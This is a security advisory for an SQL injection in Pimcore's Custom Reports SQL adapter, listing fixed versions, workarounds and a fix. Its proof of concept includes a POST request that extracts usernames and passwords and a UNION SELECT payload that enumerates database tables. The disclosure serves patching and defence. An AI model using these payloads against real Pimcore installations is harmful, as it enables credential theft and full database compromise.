GHSA-23rh-xw42-fq82
Pimcore: SQL Injection in Custom Reports via Malicious Report Configuration
Quick fix
GHSA-23rh-xw42-fq82 — pimcore/pimcore: upgrade to the fixed version with the command below.
composer require pimcore/pimcore:^2026.1.6Details
# Security Advisory: SQL Injection in Custom Reports via Malicious Report Configuration
## Summary
### Impact
A SQL injection vulnerability exists in the Custom Reports bundle (`bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php:84-135`). An authenticated attacker with `reports_config` permission can inject arbitrary SQL via the report configuration fields (`sql`, `from`, `where`, `groupby`), which are directly concatenated into SQL queries without parameterization. The only protection is a regex blacklist that checks for `ALTER|CREATE|DROP|RENAME|TRUNCATE|UPDATE|DELETE` keywords, which is trivially bypassable — it does not block `INSERT`, `UNION SELECT`, `LOAD_FILE()`, `INTO OUTFILE`, stacked queries, subqueries, or MySQL comment injection (`/*!*/`). Exploitation allows reading, modifying, or deleting all data in the database, leading to complete data compromise.
Additionally, the LIMIT clause at line 51 directly interpolates `$offset` and `$limit` without integer casting, creating a secondary injection point.
### Patches
Versions 2026.1.6, 12.3.10, 11.5.19.
### Workarounds
1. Restrict `reports_config` permission to only highly trusted administrators 2. Deploy a WAF rule to block requests to `/admin/bundle/customreports/custom-report/update` containing SQL keywords in the `configuration` parameter 3. Replace the custom SQL adapter with a parameterized query builder approach
## Attack Path (Validation Evidence)
``` [Entry Point] POST /admin/bundle/customreports/custom-report/update HTTP/1.1 ↓ (requires reports_config permission + valid admin session) [Controller] CustomReportController::updateAction() ↓ $configuration = decodeJson($request->request->getString('configuration')) [Config Store] Configuration saved to custom_reports database table [Config Load] Tool\Config::getByName() loads stdClass $config from DB ↓ [Adapter] Sql::getBaseQuery() → Sql::buildQueryString($config) ↓ Directly concatenates config fields: [Vulnerable] $sql .= "\n" . $config['sql']; // Line 92 $sql .= "\n" . $config['from']; // Line 103 $sql .= "\n" . 'WHERE (' . $config['where'] . ')'; // Line 110 $sql .= "\n" . $config['groupby']; // Line 117 [Weak Guard] preg_match('/(ALTER|CREATE|DROP|RENAME|TRUNCATE|UPDATE|DELETE)\s/i', ...) ↓ ✗ Bypassable — missing INSERT, UNION, SELECT, subqueries, comments [Execution] $db->fetchAllAssociative($sql); // Line 54 ↓ [Impact] Arbitrary SQL execution — full database compromise ```
## Taint Flow (Validation Evidence)
``` Source: $request->request->getString('configuration') (HTTP POST body, user-controlled) ↓ json_decode() → stdClass [Store] Persistent in database (custom_reports table) [Load] Config::getByName() → stdClass $config ↓ ✗ No sanitization (only bypassable regex blacklist) [Sink] $db->fetchAllAssociative($concatenatedSql) ↓ Impact: Attacker-controlled SQL executed against the database ```
## Proof of Concept
### Steps
1. Authenticate as an admin user with `reports_config` permission 2. Send a report update request with malicious SQL in the configuration:
### Request
```http POST /admin/bundle/customreports/custom-report/update HTTP/1.1 Host: <target-host> Content-Type: application/x-www-form-urlencoded Cookie: PHPSESSID=<valid_admin_session>
name=malicious_report&configuration=%7B%22sql%22%3A%22SELECT%20id%2C%20username%2C%20password%20FROM%20users%22%2C%22from%22%3A%22users%22%2C%22where%22%3A%221%3D1%22%2C%22groupby%22%3A%22%22%2C%22dataSourceConfig%22%3A%7B%7D%7D ```
3. Access the report data endpoint to retrieve extracted user credentials 4. Alternatively, the `where` field can be set to: ``` 1=1 UNION SELECT TABLE_NAME, TABLE_SCHEMA, 1 FROM INFORMATION_SCHEMA.TABLES ``` to enumerate all database tables
### Expected Result
The custom report returns rows from arbitrary tables beyond what was intended, proving successful SQL injection.
## Affected Component
- **File:** `bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php` - **Method:** `buildQueryString()` (lines 84-135), `getBaseQuery()` (lines 137-216), `getData()` (lines 25-58) - **Class:** `Pimcore\Bundle\CustomReportsBundle\Tool\Adapter\Sql`
## Fix Recommendation
Replace the custom SQL concatenation approach with a parameterized query builder:
```php // Instead of: $sql .= "\n" . $config['sql']; $sql .= "\n" . $config['from']; $sql .= "\n" . 'WHERE (' . $config['where'] . ')';
// Use a whitelist-based approach: // 1. Only allow predefined table names from a whitelist // 2. Use Doctrine QueryBuilder for WHERE conditions // 3. Use parameterized queries for all user-supplied values // 4. Cast LIMIT/OFFSET to integers
$sql .= ' LIMIT ' . (int)$offset . ',' . (int)$limit; ```
## Resources
- [CWE-89: SQL Injection](https://cwe.mitre.org/data/definitions/89.html) - [OWASP SQL Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)
Are you affected?
Enter the version of the package you're using.
Affected packages
2026.1.0Fixed in: 2026.1.6composer require pimcore/pimcore:^2026.1.612.0.0-RC1Fixed in: 12.3.10composer require pimcore/pimcore:^12.3.100Fixed in: 11.5.19composer require pimcore/pimcore:^11.5.19References
- https://github.com/pimcore/pimcore/security/advisories/GHSA-23rh-xw42-fq82[WEB]
- https://github.com/pimcore/pimcore[PACKAGE]
- https://github.com/pimcore/pimcore/releases/tag/v11.5.19[WEB]
- https://github.com/pimcore/pimcore/releases/tag/v12.3.10[WEB]
- https://github.com/pimcore/pimcore/releases/tag/v2026.1.6[WEB]